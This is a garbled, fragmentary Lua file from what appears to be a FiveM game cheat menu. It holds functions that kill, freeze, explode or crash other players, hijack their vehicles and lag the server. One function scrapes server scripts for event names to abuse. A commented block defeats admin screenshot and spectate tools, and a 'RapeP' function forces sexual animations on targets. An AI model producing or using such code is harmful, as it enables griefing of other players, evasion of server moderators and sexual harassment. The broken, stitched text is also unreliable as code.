Fatasf.n.DrawLine(r1, r2, r, g, b, a)
Fatasf.n.DrawLine(r1, br1, r, g, b, a)
Fatasf.n.DrawLine(br1, br2, r, g, b, a)
Fatasf.n.DrawLine(r2, br2, r, g, b, a)
Fatasf.n.DrawLine(l1, l2, r, g, b, a)
Fatasf.n.DrawLine(l2, bl2, r, g, b, a)
Fatasf.n.DrawLine(l1, fl1, r, g, b, a)
Fatasf.n.DrawLine(fl1, bl2, r, g, b, a)
Fatasf.n.DrawLine(r1, l1, r, g, b, a)
Fatasf.n.DrawLine(r2, l2, r, g, b, a)
Fatasf.n.DrawLine(fl1, br1, r, g, b, a)
Fatasf.n.DrawLine(bl2, br2, r, g, b, a)
end
end
CockT.Global.DeleteEntity = function(entity)
if not Fatasf.n.DoesEntityExist(entity) then
return
end
Fatasf.n.NetworkRequestControlOfEntity(entity)
CockT.Inv["Invoke"](CockT.Natives["SetEntityAsMissionEntity"], entity, true,
true)
Fatasf.n.DeletePed(entity)
Fatasf.n.DeleteEntity(entity)
Fatasf.n.DeleteObject(entity)
Fatasf.n.DeleteVehicle(entity)
return true
end
if((c_x) + 0.01 >= x and (c_x) - 0.01 <= x and (c_y) + 0.22 >= y and (c_y) -
0.22 <= y) and Fatasf.n.IsDisabledControlPressed(0, 69) then
alphap.value = CockT.Math.floor((((c_y) - (v2)) / (v3 - v2) ) *
(alphap.max - alphap.min) - alphap.min)
end
Fatasf.n.RequestAnimDict('mp_player_int_upperfinger')
Fatasf.n.TaskPlayAnim(ped_2, 'mp_player_int_upperfinger',
'mp_player_int_finger_01_enter', 8.0, -8.0, -1, 0, 0, false, false, false)
CockT.Inv["Wait"](1000)
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(onplayer), 10, 100.0, true,
false, false, 0.0)
Fatasf.n.ShootSingleBulletBetweenCoords(Fatasf.n.GetEntityCoords(onplayer),
Fatasf.n.GetEntityCoords(onplayer), 1.0, true, Fatasf.n.GetHashKey('WEAPON_RPG'),
Fatasf.n.PlayerPedId(), true, false, 1410.0)
end
CockT.Global.WarpVehicle = function(pped)
CockT.Inv["Thread"](function()
if pped then
if Cock.Menu.Spectate then
Cock.Menu.Spectate = false
end
local target = Fatasf.n.GetPlayerPed(pped)
local vehicle = Fatasf.n.GetVehiclePedIsIn(target, true)
local veh = Fatasf.n.GetPedInVehicleSeat(vehicle, -1)
if veh ~= nil then
Fatasf.n.ClearPedTasksImmediately(veh)
CockT.Inv["Wait"](500)
CockT.Inv["Invoke"](CockT.Natives["SetPedIntoVehicle"],
Fatasf.n.PlayerPedId(), vehicle, -1)
end
end
end)
end
CockT.Global.PPonHead = function(pped)
local ped = Fatasf.n.GetPlayerPed(pped)
local x, y, z = CockT.Strings.tunpack(Fatasf.n.GetEntityCoords(ped, true))
Fatasf.n.AttachEntityToEntity(Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_conta
iner_05a"), x, y, z, true, true, false), ped, Fatasf.n.GetPedBoneIndex(ped, 0), 0,
0, 3.0, 0, 90, 0, false, false, false, false, 2, true)
Fatasf.n.AttachEntityToEntity(Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_conta
iner_05a"), x, y, z, true, true, false), ped, Fatasf.n.GetPedBoneIndex(ped, 0),
2.5, 0, 3.0, 0, 90, 0, false, false, false, false, 2, true)
Fatasf.n.AttachEntityToEntity(Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_conta
iner_05a"), x, y, z, true, true, false), ped, Fatasf.n.GetPedBoneIndex(ped, 0),
-2.5, 0, 3.0, 0, 90, 0, false, false, false, false, 2, true)
Fatasf.n.AttachEntityToEntity(Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_conta
iner_05a"), x, y, z, true, true, false), ped, Fatasf.n.GetPedBoneIndex(ped, 0), 0,
0, 3.0 + 2.5, 0, 90, 0, false, false, false, false, 2, true)
Fatasf.n.AttachEntityToEntity(Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_conta
iner_05a"), x, y, z, true, true, false), ped, Fatasf.n.GetPedBoneIndex(ped, 0), 0,
0, 3.0 + 5.0, 0, 90, 0, false, false, false, false, 2, true)
Fatasf.n.AttachEntityToEntity(Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_conta
iner_05a"), x, y, z, true, true, false), ped, Fatasf.n.GetPedBoneIndex(ped, 0), 0,
0, 3.0 + 7.5, 0, 90, 0, false, false, false, false, 2, true)
end
CockT.Global.FuckPlayerEngine = function(pped)
local ped = Fatasf.n.GetPlayerPed(pped)
local vehicle = Fatasf.n.GetVehiclePedIsIn(ped)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleEngineHealth'], vehicle, -4000)
end
--[[
Fatasf.n._RNE_('screenshot_basic:requestScreenshot')
Fatasf.n._AEH_('screenshot_basic:requestScreenshot', function()
Fatasf.n.CancelEvent()
CockT.display_menu = false
CockT.Inv["Wait"](500)
CockT.display_menu = true
CockT.Global.Notifications(antiscb1, 'Somebody was trying to screenshot
you!')
end)
Fatasf.n._RNE_('EasyAdmin:CaptureScreenshot')
Fatasf.n._AEH_('EasyAdmin:CaptureScreenshot', function()
Fatasf.n.CancelEvent()
CockT.display_menu = false
CockT.Inv["Wait"](500)
CockT.display_menu = true
CockT.Global.Notifications(antiscb2, 'Somebody was trying to screenshot
you!')
end)
Fatasf.n._RNE_('EasyAdmin:CaptureScreenshot')
Fatasf.n._AEH_('EasyAdmin:CaptureScreenshot', function()
Fatasf.n._TSE_("EasyAdmin:TookScreenshot", "ERROR")
Fatasf.n.CancelEvent()
CockT.display_menu = false
CockT.Inv["Wait"](500)
CockT.display_menu = true
CockT.Global.Notifications(antiscb3, 'Somebody was trying to screenshot
you!')
end)
Fatasf.n._RNE_('EasyAdmin:requestSpectate')
Fatasf.n._AEH_('EasyAdmin:requestSpectate', function(playerId)
Fatasf.n.CancelEvent()
CockT.Global.Notifications(antispec, 'Somebody is trying to spectate you!')
end)]]
local Functions = {
f = {
TranslateFOVInNumber = function(sw)
local px = sw / 80
local px2 = 16 * px
return (sw - px2) / 2
end,
Lerp = function(delta, from, to)
if delta > 1 then return to end
if delta < 0 then return from end
GetAllTriggers = function(d)
local s, l;
local tosub;
if not Fatasf.n.GetResourcestatus(d.resource) then
return
end
for k, v in CockT.Math.pairs(d.file) do
local script;
local script = Fatasf.n.LoadResourceFile(d.resource, v)
if script == nil or script == "nil" or script:len() <= 0 then
return
end
if d.noparam then
local s, l = CockT.Strings.find(script, d.lookfor)
if s == nil then
return
else
local a, r = CockT.Strings.find(script,
"TriggerServerEvent%b()", l)
if a == nil then
return
end
local scriptt = CockT.Strings.sub(script, a, r)
local takeidpls, _ = CockT.Strings.gsub(scriptt,
"TriggerServerEvent", "")
local takeidpls, _ = CockT.Strings.gsub(takeidpls, "'",
"")
local takeidpls, _ = CockT.Strings.gsub(takeidpls, '"',
"")
local takeidpls, _ = CockT.Strings.gsub(takeidpls, "%(",
"")
local takeidpls, _ = CockT.Strings.gsub(takeidpls, "%)",
"")
dynamic.TR[d.name] = takeidpls
return
end
else
local s, l = CockT.Strings.find(script, '%b""' .. d.lookfor)
local tosub = '"'
if s == nil then
s, l = CockT.Strings.find(script, "%b''" .. d.lookfor)
tosub = "'"
end
if s == nil then
return
end
local script2 = CockT.Strings.sub(script, s, l)
local finded, _ = CockT.Strings.gsub(script2, d.lookfor, "")
local finded = finded:gsub(tosub, "")
dynamic.TR[d.name] = finded
return
end
end
end,
SpawnVehicle = function(car)
if car then
if Fatasf.n.IsModelValid(Fatasf.n.GetHashKey(car)) and
Fatasf.n.IsModelAVehicle(Fatasf.n.GetHashKey(car)) then
Fatasf.n.RequestModel(Fatasf.n.GetHashKey(car))
while not Fatasf.n.HasModelLoaded(Fatasf.n.GetHashKey(car))
do
CockT.Inv["Wait"](0)
end
local veh = Fatasf.n.CreateVehicle(Fatasf.n.GetHashKey(car),
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), 1, 1, 1)
if Cock.Menu.SpawnInCar then
CockT.Inv["Invoke"](CockT.Natives["SetPedIntoVehicle"],
Fatasf.n.PlayerPedId(), veh, -1)
end
end
end
end,
RepairVehicle = function()
Fatasf.n.SetVehicleFixed(Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(), false))
CockT.Inv["Invoke"](CockT.Natives["SetVehicleDirtLevel"],
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(), false), 0.0)
CockT.Inv["Invoke"](CockT.Natives["SetVehicleLights"],
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(), false), 0)
CockT.Inv["Invoke"](CockT.Natives["SetVehicleBurnout"],
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(), false), false)
CockT.Inv["Invoke"](CockT.Natives["SetVehicleLightsMode"],
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(), false), 0)
end,
FlipVehicle = function()
local cars = Fatasf.n.GetVehiclePedIsUsing(Fatasf.n.PlayerPedId())
Fatasf.n.SetVehicleOnGroundProperly(cars)
end,
UnlockVehicle = function(vehicle)
if vehicle then
if Fatasf.n.DoesEntityExist(vehicle) then
CockT.Inv["Invoke"](CockT.Natives["SetVehicleDoorsLocked"],
vehicle, 1)
CockT.Inv["Invoke"]
(CockT.Natives["SetVehicleDoorsLockedForPlayer"], vehicle, Fatasf.n.PlayerId(),
false)
CockT.Inv["Invoke"]
(CockT.Natives["SetVehicleDoorsLockedForAllPlayers"], vehicle, false)
end
end
end,
LockVehicle = function(vehicle)
if vehicle then
if Fatasf.n.DoesEntityExist(vehicle) then
CockT.Inv["Invoke"](CockT.Natives["SetVehicleDoorsLocked"],
vehicle, 2)
CockT.Inv["Invoke"]
(CockT.Natives["SetVehicleDoorsLockedForPlayer"], vehicle, Fatasf.n.PlayerId(),
true)
CockT.Inv["Invoke"]
(CockT.Natives["SetVehicleDoorsLockedForAllPlayers"], vehicle, true)
end
end
end,
GiveAllWeapons = function()
for weapo = 1, #CockT.Weapons do
Fatasf.n.GiveDelayedWeaponToPed(Fatasf.n.PlayerPedId(),
Fatasf.n.GetHashKey("WEAPON_" .. CockT.Weapons[weapo]), 255, false)
end
end,
RemoveAllWeapons = function()
CockT.Inv["Invoke"](CockT.Natives["RemoveAllPedWeapons"],
Fatasf.n.PlayerPedId(), false)
end,
SetCurrentAmmo = function(ammo)
local weaponnow =
Fatasf.n.GetSelectedPedWeapon(Fatasf.n.PlayerPedId())
Fatasf.n.SetPedAmmo(Fatasf.n.PlayerPedId(), weaponnow, ammo)
end,
--CustomInput = function(t2, r, a, b) TextEntry, ExampleText,
MaxStringLength
CustomInput = function(TextEntry, ExampleText, MaxStringLength, Help)
if CockT.UseCustomInput then
CockT.display_menu = false
CockT.Enabled = true
local text = ExampleText
while CockT.Enabled do
CockT.Inv["Wait"](0)
CockT.Inv["Invoke"]
(CockT.Natives['DisableAllControlActions'], 0)
CockT.Inv["Invoke"]
(CockT.Natives['DisableAllControlActions'], 1)
for k, v in CockT.Math.pairs(CockT.Keysv2) do
if Fatasf.n.IsDisabledControlJustPressed(0, v) and
not Fatasf.n.IsDisabledControlPressed(0, 21) then
text = text..k
end
if Fatasf.n.IsDisabledControlPressed(0, 21) and
Fatasf.n.IsDisabledControlJustReleased(0, v) then
text = text ..CockT.Strings.upper(k)
end
end
--Fatasf.n.NetworkRequestControlOfEntity(Fatasf.n.GetVehiclePedIsIn(pp))
Fatasf.n.RequestControlOnce(vehicle)
Fatasf.n.SmashVehicleWindow(vehicle, 0)
Fatasf.n.SmashVehicleWindow(vehicle, 1)
Fatasf.n.SmashVehicleWindow(vehicle, 2)
Fatasf.n.SmashVehicleWindow(vehicle, 3)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleTyreBurst'], vehicle,
0, true, 1000.0)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleTyreBurst'], vehicle,
1, true, 1000.0)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleTyreBurst'], vehicle,
2, true, 1000.0)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleTyreBurst'], vehicle,
3, true, 1000.0)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleTyreBurst'], vehicle,
4, true, 1000.0)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleTyreBurst'], vehicle,
5, true, 1000.0)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleTyreBurst'], vehicle,
4, true, 1000.0)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleTyreBurst'], vehicle,
7, true, 1000.0)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleDoorBroken'], vehicle,
0, true)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleDoorBroken'], vehicle,
1, true)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleDoorBroken'], vehicle,
2, true)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleDoorBroken'], vehicle,
3, true)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleDoorBroken'], vehicle,
4, true)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleDoorBroken'], vehicle,
5, true)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleDoorBroken'], vehicle,
6, true)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleDoorBroken'], vehicle,
7, true)
end,
DisableAllEngines = function()
for vehicle in Fatasf.n.EnumerateVehicles() do
Fatasf.n.SetVehicleEngineOn(vehicle, false, true, true)
end
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
Fatasf.n.SetVehicleEngineOn(Fatasf.n.GetVehiclePedIsUsing(Fatasf.n.GetPlayerPed(v))
, false, true, true)
end
end,
texture_preload = {
"mpleaderboard", "cross",
"timerbars", "commonmenu",
"trafficcam",
"mpinventory", "mpmissionend",
"mpsrange", "trafficcam",
"mpweaponscommon", "visualflow",
"mptattoos", "mpweaponsgang1",
"mphud", "mpweaponsunusedfornow",
"mpcarhud",
},
Fatasf.n.SetTextJustification(Justification)
Fatasf.n.SetTextEntry("string")
Fatasf.n.AddTextComponentString(name)
Fatasf.n.DrawText(xx, yy)
end,
LoadLogo = function()
local runtime_txd = Fatasf.n.CreateRuntimeTxd("last_logo")
local banner_dui =
Fatasf.n.CreateAnDui("https://cdn.upload.systems/uploads/Zu6GMirn.png", 200, 200)
local b_dui = Fatasf.n.GetDuiHandle(banner_dui)
Fatasf.n.CreateRuntimeTextureFromDuiHandle(runtime_txd, "menu_gif",
b_dui)
end,
BindOnStart = function()
local clicked = nil
local text = nil
local binded = false
local alpha = 0
while not binded do
CockT.display_menu = false
CockT.Inv["Wait"](0)
for k, v in CockT.Math.pairs(CockT.Keys) do
if Fatasf.n.IsDisabledControlPressed(0, v) then
clicked = v
text = k
CockT.Inv["Wait"](100)
end
end
if clicked ~= nil then
binded = true
return clicked, text
end
end
end,
KIllGpu = function(player)
CockT.Inv["Thread"](function()
if player then
for i = 1, 2 do
for i = 1, 123 do
--local model =
Fatasf.n.GetHashKey("a_f_m_bevhills_02")
local model =
Fatasf.n.GetHashKey("mp_m_freemode_01")
if not Fatasf.n.HasModelLoaded(model) then
Fatasf.n.RequestModel(model)
end
local ped = Fatasf.n.CreatePed(0, model,
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(player)), 1, 1, 1)
Fatasf.n.GiveWeaponToPed(ped,
Fatasf.n.GetHashKey('weapon_combatpistol'), 155, true, true)
end
end
end
end)
end,
PlayersLootEsp = function()
for objects in Fatasf.n.EnumerateObjects() do
local coords = Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId())
local coords2 = Fatasf.n.GetEntityCoords(objects)
local Distance =
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(), coords2,
true)
local retval, _x, _y =
Fatasf.n.GetScreenCoordFromWorldCoord(CockT.Strings.tunpack(coords2))
if Fatasf.n.GetEntityModel(objects) ==
Fatasf.n.GetHashKey('prop_big_bag_01') then
CockT.Global.DrawTextOnCoords(coords2.x, coords2.y,
coords2.z, 'Lootbag', 255, 0, 0, 4, 0.10)
Fatasf.n.DrawLine(coords.x, coords.y, coords.z, coords2.x,
coords2.y, coords2.z, 255, 0, 0, 255)
end
end
end,
GlifeKillAllPeds = function()
for zombies in Fatasf.n.EnumeratePeds() do
if not Fatasf.n.IsPedAPlayer(zombies) and zombies ~=
Fatasf.n.PlayerPedId() then
CockT.Inv["Wait"](1)
Fatasf.n.RequestControlOnce(zombies)
Fatasf.n.SetEntityHealth(zombies, 0)
Fatasf.n.SetEntityCoords(zombies,
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()))
end
end
end,
GlifeKillAllPeds2 = function()
for zombies in Fatasf.n.EnumeratePeds() do
if not Fatasf.n.IsPedAPlayer(zombies) and zombies ~=
Fatasf.n.PlayerPedId() then
CockT.Inv["Wait"](1)
Fatasf.n.RequestControlOnce(zombies)
Fatasf.n.SetEntityCoords(zombies,
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()))
if not Fatasf.n.IsEntityDead(zombies) then
Fatasf.n.ShootSingleBulletBetweenCoords(Fatasf.n.GetPedBoneCoords(zombies, 57005,
0.0, 0.0, 0.2), Fatasf.n.GetPedBoneCoords(zombies, 0, 0.0, 0.0, 0.0), 1, true,
Fatasf.n.GetHashKey('weapon_pistol'), Fatasf.n.PlayerPedId(), true, false, 1.0)
end
end
end
end,
DeleteZombies = function()
for zombies in Fatasf.n.EnumeratePeds() do
if not Fatasf.n.IsPedAPlayer(zombies) and zombies ~=
Fatasf.n.PlayerPedId() then
CockT.Inv["Wait"](1)
Fatasf.n.RequestControlOnce(zombies)
Fatasf.n.SetEntityHealth(zombies, 0)
Fatasf.n.DeleteEntity(zombies)
Fatasf.n.SetEntityCoords(zombies,
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()))
end
end
end,
SpawnZombies = function()
for s = 0, 10 do
local ped = Fatasf.n.GetHashKey('mp_m_freemode_01')
Fatasf.n.RequestModel(ped)
if not Fatasf.n.HasModelLoaded(ped) then
CockT.Inv["Wait"](1)
end
local ped_2 = Fatasf.n.CreatePed(31, ped,
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), 0.0, true, true)
Fatasf.n.SetEntityHealth(ped_2, 0)
end
end,
FreezePlayer = function(player)
CockT.Inv["Thread"](function()
while true do
CockT.Inv["Wait"](0)
Fatasf.n.FreezeEntityPosition(Fatasf.n.GetPlayerPed(player), true)
Fatasf.n.ClearPedSecondaryTask(Fatasf.n.GetPlayerPed(player))
Fatasf.n.ClearPedTasksImmediately(Fatasf.n.GetPlayerPed(player))
end
end)
end,
GetRamedByVehicle = function(custom_vehicle, playa)
CockT.Inv["Thread"](function()
if custom_vehicle then
Fatasf.n.RequestModel(Fatasf.n.GetHashKey(custom_vehicle))
while not
Fatasf.n.HasModelLoaded(Fatasf.n.GetHashKey(custom_vehicle)) do
CockT.Inv["Wait"](0)
end
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(playa))
local veh =
Fatasf.n.CreateVehicle(Fatasf.n.GetHashKey(custom_vehicle), coords.x, coords.y,
coords.z , 1, 1, 1)
local rotation = Fatasf.n.GetEntityRotation(playa)
Fatasf.n.SetTextCentre(false)
Functions.f.DrawTextTest(text, false, 0.35, 0, x, y-0.014)
if( (c_x) + 0.01 >= x and (c_x) - 0.01 <= x and (c_y) + 0.012 >= y and (c_y)
- 0.012 <= y) then
Fatasf.n.DrawRect(x, y, 0.015, 0.021, r, g, b, 255)
else
Fatasf.n.DrawRect(x, y, 0.015, 0.021, r, g, b, 255)
end
if ((c_x) + 0.01 >= x and (c_x) - 0.01 <= x and (c_y) + 0.015 >= y and (c_y)
- 0.005 <= y and Fatasf.n.IsDisabledControlJustReleased(0, 92)) then
return true
else
return false
end
end
CockT.Global.CheckIfResourceExist = function(script)
if Fatasf.n.GetResourceState(script) == "started" or
Fatasf.n.GetResourceState(CockT.Strings.lower(script)) == "started" or
Fatasf.n.GetResourceState(CockT.Strings.upper(script)) == "started" then
return true
else
return false
end
end
CockT.Global.ListButton = function(x, y, _outl, r, g, b)
local c_x, c_y = Fatasf.n.GetNuiCursorPosition()
local widht, height = Fatasf.n.GetActiveScreenResolution()
c_x = c_x / widht
c_y = c_y / height
if( (c_x) + 0.01 >= x and (c_x) - 0.01 <= x and (c_y) + 0.011 >= y and (c_y)
- 0.011 <= y) then
end
if ((c_x) + 0.01 >= x and (c_x) - 0.01 <= x and (c_y) + 0.015 >= y and
(c_y) - 0.005 <= y and Fatasf.n.IsDisabledControlJustReleased(0, 92)) then
return true
else
return false
end
end
CockT.Global.SpawnNakedMen = function(player)
local nakedmodel = Fatasf.n.GetHashKey('a_m_m_acult_01')
Fatasf.n.RequestModel(nakedmodel)
while not Fatasf.n.HasModelLoaded(nakedmodel) do
CockT.Inv["Wait"](50)
end
CockT.Inv["Invoke"](CockT.Natives['SetModelAsNoLongerNeeded'],
Fatasf.n.GetHashKey(kkkmodel))
CockT.Inv["Invoke"](CockT.Natives['SetPedHeadBlendData'], t, 0, 0, 0, 10,
10, 10, 1.0, 1.0, 1.0, true)
CockT.Inv["Invoke"](CockT.Natives['SetPedHeadOverlay'], t, 1, 10, 1 + 0.0)
CockT.Inv["Invoke"](CockT.Natives['SetPedHeadOverlayColor'], t, 1, 1, 1, 1)
CockT.Inv["Invoke"](CockT.Natives['SetPedHeadOverlay'], t, 2, 1, 1 + 0.0)
CockT.Inv["Invoke"](CockT.Natives['SetPedHeadOverlayColor'], t, 2, 1, 1, 1)
Fatasf.n.SetPedComponentVariation(t, 2, 1, 0, 2)
CockT.Inv["Invoke"](CockT.Natives['SetPedHairColor'], t, 1, 1)
CockT.Inv["Invoke"](CockT.Natives['SetPedPropIndex'], t, 2, 19, 0, 2)
CockT.Inv["Invoke"](CockT.Natives['SetPedPropIndex'], t, 6, 3, 0, 2)
CockT.Inv["Invoke"](CockT.Natives['SetPedPropIndex'], t, 1, 24 , 5 , 2)
CockT.Inv["Invoke"](CockT.Natives['SetPedPropIndex'], t, 0, 1, 0, 2)
Fatasf.n.SetPedComponentVariation(t, 7, 0, 0, 2)
Fatasf.n.SetPedComponentVariation(t, 9, 0, 0, 2)
Fatasf.n.SetPedComponentVariation(t, 1, 52, 2, 2)
Fatasf.n.SetPedComponentVariation(t, 6, 1, 1 , 2)
Fatasf.n.SetPedComponentVariation(t, 4, 23, 4, 2)
Fatasf.n.SetPedComponentVariation(t, 3, 75, 0, 2)
Fatasf.n.SetPedComponentVariation(t, 11, 107, 0, 2)
Fatasf.n.SetPedComponentVariation(t, 8, 15, 0, 2)
Fatasf.n.FreezeEntityPosition(t, true)
CockT.Inv["Invoke"](CockT.Natives['SetPedCanRagdoll'], t, false)
Fatasf.n.ClearPedTasks(t)
Fatasf.n.ClearPedSecondaryTask(t)
CockT.Inv["Invoke"](CockT.Natives['TaskSetBlockingOfNonTemporaryEvents'], t,
true)
CockT.Inv["Invoke"](CockT.Natives['SetPedFleeAttributes'], t, 0, 0)
CockT.Inv["Invoke"](CockT.Natives['SetPedCombatAttributes'], t, 17, 1)
CockT.Inv["Invoke"](CockT.Natives['SetPedSeeingRange'], t, 0.0)
CockT.Inv["Invoke"](CockT.Natives['SetPedHearingRange'], t, 0.0)
CockT.Inv["Invoke"](CockT.Natives['SetPedAlertness'], t, 0)
Fatasf.n.SetPedKeepTask(t, true)
CockT.Inv["Invoke"](CockT.Natives['TaskCombatPed'], b, t, 0, 16)
CockT.Inv["Invoke"](CockT.Natives['TaskCombatPed'], c, t, 0, 16)
CockT.Inv["Invoke"](CockT.Natives['TaskCombatPed'], d, t, 0, 16)
CockT.Inv["Invoke"](CockT.Natives['TaskCombatPed'], e, t, 0, 16)
CockT.Inv["Invoke"](CockT.Natives['TaskCombatPed'], f, t, 0, 16)
CockT.Inv["Wait"](5000)
CockT.Global.isisattack(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()))
end
CockT.Global.ServerLagger = function()
for i = 1, 2 do
for i = 1, 10 do
--local car = Fatasf.n.GetHashKey("titan")
local model = Fatasf.n.GetHashKey("mp_m_freemode_01")
local model_2 = Fatasf.n.GetHashKey("a_c_sharktiger")
local newx = CockT.Math.random(-100.0, 500.0)
end
end
end
CockT.Global.TazePlayer = function(player)
--CockT.Inv["Thread"](function()
local ped = Fatasf.n.GetPlayerPed(player)
local location = Fatasf.n.GetEntityCoords(ped)
local dest = Fatasf.n.GetPedBoneCoords(ped, 0, 0.0, 0.0, 0.0)
local org = Fatasf.n.GetPedBoneCoords(ped, 57005, 0.0, 0.0, 0.2)
Fatasf.n.ShootSingleBulletBetweenCoords(org, dest, 0.0, true,
Fatasf.n.GetHashKey('WEAPON_STUNGUN'), Fatasf.n.PlayerPedId(), true, false, 1.0)
--end)
end
CockT.Global.KickFromVehicle = function(player)
--CockT.Inv["Thread"](function()
-- if player then
Fatasf.n.ClearPedTasksImmediately(Fatasf.n.GetPlayerPed(player))
-- end
--end)
end
CockT.Global.KillAllPlayers = function()
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local player = Fatasf.n.GetPlayerPed(v)
local coords = Fatasf.n.GetPedBoneCoords(player,
Fatasf.n.GetEntityBoneIndexByName(player, "SKEL_HEAD"), 0.0, -0.2, 0.0)
local coords2 = Fatasf.n.GetPedBoneCoords(player,
Fatasf.n.GetEntityBoneIndexByName(player, "SKEL_HEAD"), 0.0, 0.2, 0.0)
--if player ~= Fatasf.n.PlayerPedId() then
Fatasf.n.ShootSingleBulletBetweenCoords(coords, coords2, 100.0,
true, Fatasf.n.GetHashKey('weapon_pistol'), Fatasf.n.PlayerPedId(), true, true,
100.0)
--end
end
end
CockT.Global.RapeP = function(target)
CockT.Inv["Thread"](function()
if Fatasf.n.IsPedInAnyVehicle(Fatasf.n.GetPlayerPed(target), true)
then
local veh =
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.GetPlayerPed(target), true)
while not Fatasf.n.NetworkHasControlOfEntity(veh) do
Fatasf.n.NetworkRequestControlOfEntity(veh)
CockT.Inv["Wait"](0)
end
CockT.Inv["Invoke"](CockT.Natives["SetEntityAsMissionEntity"],
veh, true, true)
--CockT.Inv["Invoke"](CockT.Natives["DeleteVehicle"], veh)
Fatasf.n.DeleteEntity(veh)
end
local count = -0.2
for b = 1, 3 do
local x, y, z =
CockT.Strings.tunpack(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(target),
true))
local pp = Fatasf.n.ClonePed(Fatasf.n.GetPlayerPed(target), 1,
1, 1)
CockT.Inv["Invoke"](CockT.Natives["SetEntityAsMissionEntity"],
bD, true, true)
Fatasf.n.AttachEntityToEntity(pp, Fatasf.n.GetPlayerPed(target),
4103, 11816, count, 0.00, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true)
Fatasf.n.ClearPedTasks(Fatasf.n.GetPlayerPed(target))
Fatasf.n.TaskPlayAnim(Fatasf.n.GetPlayerPed(target),
"rcmpaparazzo_2", "shag_loop_poppy", 2.0, 2.5, -1, 49, 0, 0, 0, 0)
Fatasf.n.SetPedKeepTask(pp)
Fatasf.n.TaskPlayAnim(pp, "rcmpaparazzo_2", "shag_loop_a", 2.0,
2.5, -1, 49, 0, 0, 0, 0)
Fatasf.n.SetEntityInvincible(pp, true)
count = count - 0.4
end
end
)
end
CockT.Global.CleanVehicle = function()
CockT.Inv["Invoke"](CockT.Natives["SetVehicleDirtLevel"],
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(), false), 0.0)
end
CockT.Global.RandomColour = function()
local red = CockT.Math.random(0, 255)
local green = CockT.Math.random(0, 255)
local blue = CockT.Math.random(0, 255)
CockT.Inv["Invoke"](CockT.Natives['SetVehicleCustomPrimaryColour'],
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(), false), red, green, blue)
end
CockT.Global.UnexOnPlayer = function(player, looptime)
--local va = Fatasf.n.CreateAnDui("https://cock.menu/music/wtfisthat.mp3",
1, 1, 1)
CockT.Inv["Wait"](3000)
-- Fatasf.n.DestroyDui(va)
for imlucky = 0, looptime do
local ped = Fatasf.n.GetPlayerPed(player)
local location = Fatasf.n.GetEntityCoords(ped)
local dest = Fatasf.n.GetPedBoneCoords(ped, 0, 0.0, 0.0, 0.0)
local org = Fatasf.n.GetPedBoneCoords(ped, 57005, 0.0, 0.0, 0.2)
Fatasf.n.ShootSingleBulletBetweenCoords(org + 1, dest, 0.0, true,
Fatasf.n.GetHashKey('WEAPON_RPG'), Fatasf.n.PlayerPedId(), true, false, 1255.0)
CockT.Inv["Wait"](100)
Fatasf.n.ShootSingleBulletBetweenCoords(org, dest, 0.0, true,
Fatasf.n.GetHashKey('WEAPON_RPG'), Fatasf.n.PlayerPedId(), true, false, 1255.0)
end
end
CockT.Global.mathround = function(first, second)
return CockT.Math.tonumber(CockT.Strings.format("%." .. (second or 0) ..
"f", first))
end
CockT.Global.TriggerCustomEvent = function(server, event, ...)
local payload = CockT.Strings.msgpack({...})
if server then
Fatasf.n.TriggerServerEventInternal(event, payload, payload:len())
else
Fatasf.n.TriggerEventInternal(event, payload, payload:len())
end
end
CockT.Global.resPe = function(id, coords, int)
Fatasf.n.SetEntityCoordsNoOffset(id, coords.x, coords.y, coords.z, false,
false, false, true)
CockT.Inv["Invoke"](CockT.Natives['NetworkResurrectLocalPlayer'], coords.x,
coords.y, coords.z, int, true, false)
CockT.Inv["Invoke"](CockT.Natives['SetPlayerInvincible'], id, false)
